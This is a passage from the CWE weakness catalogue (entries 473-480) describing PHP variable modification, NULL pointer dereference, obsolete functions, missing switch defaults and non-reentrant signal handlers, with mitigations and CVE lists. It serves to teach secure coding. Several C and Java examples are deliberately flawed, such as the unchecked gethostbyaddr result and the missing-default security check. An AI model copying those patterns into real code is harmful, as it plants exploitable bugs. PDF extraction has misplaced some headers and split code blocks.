<td>Accessing/Intercepting/Modifying HTTP Cookies</td>
</tr>
<tr>
<td>39</td>
<td>Manipulating Opaque Client-based Data Tokens</td>
</tr>
<tr>
<td>146</td>
<td>XML Schema Poisoning</td>
</tr>
</tbody>
</table>

References
CWE-473: PHP External Variable Modification

A PHP application does not properly protect against the modification of variables from external sources, such as query parameters or cookies. This can expose the application to numerous weaknesses that would not exist otherwise.

Time of Introduction
- Implementation

Applicable Platforms
- Languages
  - PHP

Common Consequences
- Integrity
  - Modify application data

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0860</td>
<td>File upload allows arbitrary file read by setting hidden form variables to match internal variable names.</td>
</tr>
<tr>
<td>CVE-2001-0854</td>
<td>Mistakenly trusts $PHP_SELF variable to determine if include script was called by its parent.</td>
</tr>
<tr>
<td>CVE-2001-1025</td>
<td>Modify key variable when calling scripts that don't load a library that initializes it.</td>
</tr>
<tr>
<td>CVE-2002-0764</td>
<td>PHP remote file inclusion by modified assumed-immutable variable.</td>
</tr>
<tr>
<td>CVE-2003-0754</td>
<td>Authentication bypass by modifying array used for authentication.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Requirements

Implementation
Carefully identify which variables can be controlled or influenced by an external user, and consider adopting a naming convention to emphasize when externally modifiable variables are being used. An application should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking is performed when relying on input from outside a trust boundary. Do not allow your application to run with register_globals enabled. If you implement a register_globals emulator, be extremely careful of variable extraction, dynamic evaluation, and similar issues, since weaknesses in your emulation could allow external variable modification to take place even without register_globals.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td></td>
<td>98</td>
<td>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>471</td>
<td>Modification of Assumed-Immutable Data (MAID)</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>793</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>991</td>
<td>SFP Secondary Cluster: Tainted Input to Environment</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1394</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>616</td>
<td>Incomplete Identification of Uploaded File Variables (PHP)</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>965</td>
</tr>
</tbody>
</table>

Relationship Notes
This is a language-specific instance of Modification of Assumed-Immutable Data (MAID). This can be resultant from direct request (alternate path) issues. It can be primary to weaknesses such as PHP file inclusion, SQL injection, XSS, authentication bypass, and others.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>PHP External Variable Modification</td>
</tr>
</tbody>
</table>
CWE-474: Use of Function with Inconsistent Implementations

**Weakness ID:** 474 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**
The code uses a function that has inconsistent implementations across operating systems and versions.

**Extended Description**
The use of inconsistent implementations can cause changes in behavior when the code is ported or built under a different environment than the programmer expects, which can lead to security problems in some cases.

The implementation of many functions varies by platform, and at times, even by different versions of the same platform. Implementation differences can include:
- Slight differences in the way parameters are interpreted leading to inconsistent results.
- Some implementations of the function carry significant security risks.
- The function might not be defined on all platforms.
- The function might change which return codes it can provide, or change the meaning of its return codes.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- C *(Often)*
- PHP *(Often)*
- Language-independent

**Common Consequences**

**Other**
- Quality degradation
  - Varies by context

**Potential Mitigations**

**Architecture and Design Requirements**
- Do not accept inconsistent behavior from the API specifications when the deviant behavior increase the risk level.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Node</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>699</td>
<td>685</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td>888</td>
<td>1414</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>589</td>
<td>Call to Non-ubiquitous API</td>
<td>1000</td>
<td>931</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>SFP3</td>
<td>Inconsistent Implementations</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td></td>
<td>Use of an improper API</td>
</tr>
</tbody>
</table>

CWE-475: Undefined Behavior for Input to API
CWE Version 2.11
CWE-476: NULL Pointer Dereference

Weakness ID: 475 (Weakness Base)  Status: Incomplete

Description
Summary
The behavior of this function is undefined unless its control parameter is set to a specific value.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• All

Common Consequences
Other
Quality degradation
Varies by context

Other Notes
The Linux Standard Base Specification 2.0.1 for libc places constraints on the arguments to some internal functions [21]. If the constraints are not met, the behavior of the functions is not defined. It is unusual for this function to be called directly. It is almost always invoked through a macro defined in a system header file, and the macro ensures that the following constraints are met: The value 1 must be passed to the third parameter (the version number) of the following file system function: __xmknod The value 2 must be passed to the third parameter (the group argument) of the following wide character string functions: __wcstod_internal __wcstof_internal __wcstol_internal __wcstold_internal __wcstoul_internal The value 3 must be passed as the first parameter (the version number) of the following file system functions: __xstat __lxstat __fxstat __xstat64 __lxstat64 __fxstat64

Relationships

Taxonomy Mappings

CWE-476: NULL Pointer Dereference

Weakness ID: 476 (Weakness Base)  Status: Draft

Description
Summary
A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.

Extended Description
NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• C
• C++
• Java
Common Consequences

Availability
DoS: crash / exit / restart
NULL pointer dereferences usually result in the failure of the process unless exception handling (on some platforms) is available and implemented. Even when exception handling is being used, it can still be very difficult to return the software to a safe state of operation.

Integrity
Confidentiality
Availability
Execute unauthorized code or commands
In very rare circumstances and environments, code execution is possible.

Likelihood of Exploit
Medium

Detection Methods
Automated Dynamic Analysis
Moderate
This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Manual Dynamic Analysis
Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Demonstrative Examples

Example 1:
While there are no complete fixes aside from conscientious programming, the following steps will go a long way to ensure that NULL pointer dereferences do not occur.

```c
if (pointer1 != NULL) {
    /* make use of pointer1 */
    /* ... */
}
```

If you are working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the if statement; and unlock when it has finished.

Example 2:
This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

```c
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr(addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}```
If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference would then occur in the call to strcpy().

Note that this example is also vulnerable to a buffer overflow (see CWE-119).

**Example 3:**
In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a NULL pointer exception when it attempts to call the trim() method.

**Java Example:**

```java
String cmd = System.getProperty("cmd");
cmd = cmd.trim();
```

**Example 4:**
This application has registered to handle a URL when sent an intent:

**Java Example:**

```java
... IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
  @Override
  public void onReceive(Context context, Intent intent) {
    if("com.example.URLHandler.openURL".equals(intent.getAction())) {
      String URL = intent.getStringExtra("URLToOpen");
      int length = URL.length();
      ...
    }
  }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0401</td>
<td>Network monitor allows remote attackers to cause a denial of service (crash) or execute arbitrary code via malformed packets that cause a NULL pointer dereference.</td>
</tr>
<tr>
<td>CVE-2002-1912</td>
<td>large number of packets leads to NULL dereference</td>
</tr>
<tr>
<td>CVE-2003-1000</td>
<td>Chat client allows remote attackers to cause a denial of service (crash) via a passive DCC request with an invalid ID number, which causes a null dereference.</td>
</tr>
<tr>
<td>CVE-2003-1013</td>
<td>Network monitor allows remote attackers to cause a denial of service (crash) via a malformed Q.931, which triggers a null dereference.</td>
</tr>
<tr>
<td>CVE-2004-0079</td>
<td>SSL software allows remote attackers to cause a denial of service (crash) via a crafted SSL/TLS handshake that triggers a NULL dereference.</td>
</tr>
<tr>
<td>CVE-2004-0119</td>
<td>OS allows remote attackers to cause a denial of service (crash from null dereference) or execute arbitrary code via a crafted request during authentication protocol selection.</td>
</tr>
<tr>
<td>CVE-2004-0365</td>
<td>Network monitor allows remote attackers to cause a denial of service (crash) via a malformed RADIUS packet that triggers a NULL dereference.</td>
</tr>
<tr>
<td>CVE-2004-0389</td>
<td>Server allows remote attackers to cause a denial of service (crash) via malformed requests that trigger a NULL dereference.</td>
</tr>
<tr>
<td>CVE-2004-0458</td>
<td>Game allows remote attackers to cause a denial of service (server crash) via a missing argument, which triggers a NULL pointer dereference.</td>
</tr>
<tr>
<td>CVE-2005-0772</td>
<td>packet with invalid error status value triggers NULL dereference</td>
</tr>
<tr>
<td>CVE-2005-3274</td>
<td>race condition causes a table to be corrupted if a timer activates while it is being modified, leading to resultant NULL dereference; also involves locking.</td>
</tr>
</tbody>
</table>
CWE-476: NULL Pointer Dereference

## Reference

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2008-3597</td>
<td>chain: game server can access player data structures before initialization has happened leading to NULL dereference</td>
</tr>
<tr>
<td>CVE-2008-5183</td>
<td>chain: unchecked return value can lead to NULL dereference</td>
</tr>
<tr>
<td>CVE-2009-0949</td>
<td>chain: improper initialization of memory can lead to NULL dereference</td>
</tr>
<tr>
<td>CVE-2009-2692</td>
<td>chain: uninitialized function pointers can be dereferenced allowing code execution</td>
</tr>
<tr>
<td>CVE-2009-2698</td>
<td>chain: IP and UDP layers each track the same value with different mechanisms that can get out of sync, possibly resulting in a NULL dereference</td>
</tr>
<tr>
<td>CVE-2009-3547</td>
<td>chain: race condition might allow resource to be released before operating on it, leading to NULL dereference</td>
</tr>
<tr>
<td>CVE-2009-3620</td>
<td>chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference</td>
</tr>
<tr>
<td>CVE-2009-4895</td>
<td>chain: race condition for an argument value, possibly resulting in NULL dereference</td>
</tr>
</tbody>
</table>

## Potential Mitigations

### Implementation

If all pointers that could have been modified are sanity-checked previous to use, nearly all NULL pointer dereferences can be prevented.

### Requirements

The choice could be made to use a language that is not susceptible to these issues.

### Implementation

**Moderate**

Check the results of all functions that return a value and verify that the value is non-null before acting upon it.

Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

This solution does not handle the use of improperly initialized variables (CWE-665).

### Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

### Implementation

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

### Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

## Weakness Ordinalities

**Resultant** *(where the weakness is typically related to the presence of some other weaknesses)*

NULL pointer dereferences are frequently resultant from rarely encountered error conditions, since these are most likely to escape detection during the testing phases.

## Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>700</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>465</td>
<td>Pointer Issues</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>OWASP Top Ten 2004 Category A9 - Denial of Service</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>730</td>
<td>CERT C Secure Coding Section 03 - Expressions (EXP)</td>
<td>734</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>CERT C Secure Coding Section 08 - Memory Management (MEM)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>808</td>
<td>2010 Top 25 - Weaknesses On the Cusp</td>
<td>800</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>867</td>
<td>2011 Top 25 - Weaknesses On the Cusp</td>
<td>900</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-477: Use of Obsolete Functions

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>871</td>
<td>CERT C++ Secure Coding Section 03 - Expressions</td>
<td>868</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>(EXP)</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>876</td>
<td>CERT C++ Secure Coding Section 08 - Memory Management</td>
<td>868</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>(MEM)</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>971</td>
<td>SFP Secondary Cluster: Faulty Pointer Use</td>
<td>888</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>252</td>
<td>Unchecked Return Value</td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>630</td>
<td>Weaknesses Examined by SAMATE</td>
<td>630</td>
</tr>
<tr>
<td>ParentOf</td>
<td>oo</td>
<td>690</td>
<td>Unchecked Return Value to NULL Pointer Dereference</td>
<td>699</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>789</td>
<td>Uncontrolled Memory Allocation</td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td></td>
<td>Null Dereference</td>
</tr>
<tr>
<td>CLASP</td>
<td></td>
<td></td>
<td>Null-pointer dereference</td>
</tr>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Null Dereference (Null Pointer Dereference)</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A9</td>
<td>CWE More Specific</td>
<td>Denial of Service</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>EXP34-C</td>
<td></td>
<td>Ensure a null pointer is not dereferenced</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MEM32-C</td>
<td></td>
<td>Detect and handle memory allocation errors</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>EXP34-CPP</td>
<td></td>
<td>Ensure a null pointer is not dereferenced</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MEM32-CPP</td>
<td></td>
<td>Detect and handle memory allocation errors</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP7</td>
<td></td>
<td>Faulty Pointer Use</td>
</tr>
</tbody>
</table>

White Box Definitions
A weakness where the code path has:
1. start statement that assigns a null value to the pointer
2. end statement that dereferences a pointer
3. the code path does not contain any other statement that assigns value to the pointer

CWE-477: Use of Obsolete Functions

Description

Summary
The code uses deprecated or obsolete functions, which suggests that the code has not been actively reviewed or maintained.

Extended Description
As programming languages evolve, functions occasionally become obsolete due to:
Advances in the language
Improved understanding of how operations should be performed effectively and securely
Changes in the conventions that govern certain operations
Functions that are removed are usually replaced by newer counterparts that perform the same task in some different and hopefully improved way.

Time of Introduction
- Implementation

Applicable Platforms
Languages
- All

Common Consequences
Other
- Quality degradation

Detection Methods
Automated Static Analysis - Binary / Bytecode
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
  Binary / Bytecode Quality Analysis
  Cost effective for partial coverage:
  Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
  Cost effective for partial coverage:
  Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with manual results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
  Debugger

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
  Manual Source Code Review (not inspections)
  Cost effective for partial coverage:
  Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
  Source Code Quality Analyzer
  Source code Weakness Analyzer
  Context-configured Source Code Weakness Analyzer

Automated Static Analysis
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
  Origin Analysis

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
  Formal Methods / Correct-By-Construction
  Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

Example 1:
The following code uses the deprecated function getpw() to verify that a plaintext password matches a user's encrypted password. If the password is valid, the function sets result to 1; otherwise it is set to 0.

C Example:  
... 
getpw(uid, pwdline);
for (i=0; i<3; i++){
    cryptpw=strtok(pwdline, ":");
pwdline=0;
}  
result = strcmp(crypt(plainpw,cryptpw), cryptpw) == 0;
...

Although the code often behaves correctly, using the getpw() function can be problematic from a security standpoint, because it can overflow the buffer passed to its second parameter. Because of this vulnerability, getpw() has been supplanted by getpwuid(), which performs the same lookup as getpw() but returns a pointer to a statically-allocated structure to mitigate the risk. Not all functions are deprecated or replaced because they pose a security risk. However, the presence of an obsolete function often indicates that the surrounding code has been neglected and may be in a state of disrepair. Software security has not been a priority, or even a consideration, for very long. If the program uses deprecated or obsolete functions, it raises the probability that there are security problems lurking nearby.

**Example 2:**
In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a null pointer exception when it attempts to call the "Trim()" method.

**Java Example:**

```java
String cmd = null;
...
  cmd = Environment.GetEnvironmentVariable("cmd");
  cmd = cmd.Trim();
```

**Example 3:**
The following code constructs a string object from an array of bytes and a value that specifies the top 8 bits of each 16-bit Unicode character.

**Java Example:**

```java
...
  String name = new String(nameBytes, highByte);
  ...
```

In this example, the constructor may not correctly convert bytes to characters depending upon which charset is used to encode the string represented by nameBytes. Due to the evolution of the charsets used to encode strings, this constructor was deprecated and replaced by a constructor that accepts as one of its parameters the name of the charset used to encode the bytes for conversion.

**Potential Mitigations**

**Implementation**
Refer to the documentation for the obsolete function in order to determine why it is deprecated or obsolete and to learn about alternative ways to achieve the same functionality.

**Requirements**
Consider seriously the security implications of using an obsolete function. Consider using alternate functions.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>700</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td>888</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Obsolete</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP3</td>
<td>Use of an improper API</td>
</tr>
</tbody>
</table>

**CWE-478: Missing Default Case in Switch Statement**
CWE Version 2.11

CWE-478: Missing Default Case in Switch Statement

Weakness ID: 478 (Weakness Variant)

Description

Summary
The code does not have a default case in a switch statement, which might lead to complex logical errors and resultant weaknesses.

Extended Description
This flaw represents a common problem in software development, in which not all possible values for a variable are considered or handled by a given process. Because of this, further decisions are made based on poor information, and cascading failure results. This cascading failure may result in any number of security issues, and constitutes a significant failure in the system.

Time of Introduction
- Implementation

Applicable Platforms
Languages
- C
- C++
- Java
- .NET

Common Consequences
Integrity
Varies by context
Alter execution logic
Depending on the logical circumstances involved, any consequences may result: e.g., issues of confidentiality, authentication, authorization, availability, integrity, accountability, or non-repudiation.

Demonstrative Examples

Example 1:
The following does not properly check the return code in the case where the security_check function returns a -1 value when an error occurs. If an attacker can supply data that will invoke an error, the attacker can bypass the security check:

C Example:
```c
#define FAILED 0
#define PASSED 1
int result;
...
result = security_check(data);
switch (result) {
    case FAILED:
        printf("Security check failed!\n");
        exit(-1);
        //Break never reached because of exit()
    break;
    case PASSED:
        printf("Security check passed.\n");
    break;
}
// program execution continues...
...
```

Instead a default label should be used for unaccounted conditions:

C Example:
```c
#define FAILED 0
#define PASSED 1
int result;
...
result = security_check(data);
switch (result) {
    case FAILED:
```

printf("Security check failed\n");
exit(-1);
//Break never reached because of exit()
break;
case PASSED:
printf("Security check passed.\n");
break;
default:
printf("Unknown error (%d), exiting...\n",result);
exit(-1);
}

This label is used because the assumption cannot be made that all possible cases are accounted for. A good practice is to reserve the default case for error handling.

**Example 2:**

In the following Java example the method getInterestRate retrieves the interest rate for the number of points for a mortgage. The number of points is provided within the input parameter and a switch statement will set the interest rate value to be returned based on the number of points.

**Java Example:**

```java
public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";
public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75";
public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50";
...
public BigDecimal getInterestRate(int points) {
    BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
    switch (points) {
        case 0:
            result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
            break;
        case 1:
            result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);
            break;
        case 2:
            result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);
            break;
        default:
            System.err.println("Invalid value for points, must be 0, 1 or 2");
            System.err.println("Returning null value for interest rate");
            result = null;
    }
    return result;
}
```

However, this code assumes that the value of the points input parameter will always be 0, 1 or 2 and does not check for other incorrect values passed to the method. This can be easily accomplished by providing a default label in the switch statement that outputs an error message indicating an invalid value for the points input parameter and returning a null value.

**Java Example:**

```java
public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";
public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75";
public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50";
...
public BigDecimal getInterestRate(int points) {
    BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
    switch (points) {
        case 0:
            result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
            break;
        case 1:
            result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);
            break;
        case 2:
            result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);
            break;
        default:
            System.err.println("Invalid value for points, must be 0, 1 or 2");
            result = null;
    }
    return result;
}
Potential Mitigations

Implementation
Ensure that there are no unaccounted for cases, when adjusting flow or values based on the value of a given variable. In switch statements, this can be accomplished through the use of the default label.

Implementation
In the case of switch style statements, the very simple act of creating a default case can mitigate this situation, if done correctly. Often however, the default case is used simply to represent an assumed option, as opposed to working as a check for invalid input. This is poor practice and in some cases is as bad as omitting a default case entirely.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>171</td>
<td>Cleansing, Canonicalization, and Comparison Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>697</td>
<td>Insufficient Comparison</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>962</td>
<td>SFP Secondary Cluster: Unchecked Status Condition</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Failure to account for default case in switch</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP4</td>
<td>Unchecked Status Condition</td>
</tr>
</tbody>
</table>

References


CWE-479: Signal Handler Use of a Non-reentrant Function

Weakness ID: 479 (Weakness Variant)  
Status: Draft

Description

Summary
The program defines a signal handler that calls a non-reentrant function.

Extended Description
Non-reentrant functions are functions that cannot safely be called, interrupted, and then recalled before the first call has finished without resulting in memory corruption. This can lead to an unexpected system state an unpredictable results with a variety of potential consequences depending on context, including denial of service and code execution.

Many functions are not reentrant, but some of them can result in the corruption of memory if they are used in a signal handler. The function call syslog() is an example of this. In order to perform its functionality, it allocates a small amount of memory as “scratch space.” If syslog() is suspended by a signal call and the signal handler calls syslog(), the memory used by both of these functions enters an undefined, and possibly, exploitable state. Implementations of malloc() and free() manage metadata in global structures in order to track which memory is allocated versus which memory is available, but they are non-reentrant. Simultaneous calls to these functions can cause corruption of the metadata.

Time of Introduction

• Architecture and Design
• Implementation

Applicable Platforms

Languages
CWE Version 2.11
CWE-479: Signal Handler Use of a Non-reentrant Function

- C
- C++

Common Consequences

Integrity
Confidentiality
Availability
Execute unauthorized code or commands
It may be possible to execute arbitrary code through the use of a write-what-where condition.

Integrity
Modify application data
Signal race conditions often result in data corruption.

Likelihood of Exploit
Low

Demonstrative Examples

In this example, a signal handler uses syslog() to log a message:

```c
char *message;
void sh(int dummy) {
    syslog(LOG_NOTICE,"%s\n",message);
    sleep(10);
    exit(0);
}

int main(int argc,char* argv[]) {
    ...
    signal(SIGHUP,sh);
    signal(SIGTERM,sh);
    sleep(10);
    exit(0);
}
```

If the execution of the first call to the signal handler is suspended after invoking syslog(), and the signal handler is called a second time, the memory allocated by syslog() enters an undefined, and possibly, exploitable state.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-2259</td>
<td>handler for SIGCHLD uses non-reentrant functions</td>
</tr>
<tr>
<td>CVE-2005-0893</td>
<td>signal handler calls function that ultimately uses malloc()</td>
</tr>
</tbody>
</table>

Potential Mitigations

Requirements
Require languages or libraries that provide reentrant functionality, or otherwise make it easier to avoid this weakness.

Architecture and Design
Design signal handlers to only set flags rather than perform complex functionality.

Implementation
Ensure that non-reentrant functions are not found in signal handlers.

Defense in Depth
Use sanity checks to reduce the timing window for exploitation of race conditions. This is only a partial solution, since many attacks might fail, but other attacks still might work within the narrower window, even accidentally.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td>☀</td>
<td>123</td>
<td>Write-what-where Condition</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>429</td>
<td>Handler Errors</td>
<td>699</td>
</tr>
</tbody>
</table>
CWE-480: Use of Incorrect Operator

**Description**

**Summary**

The programmer accidentally uses the wrong operator, which changes the application logic in security-relevant ways.

**Extended Description**

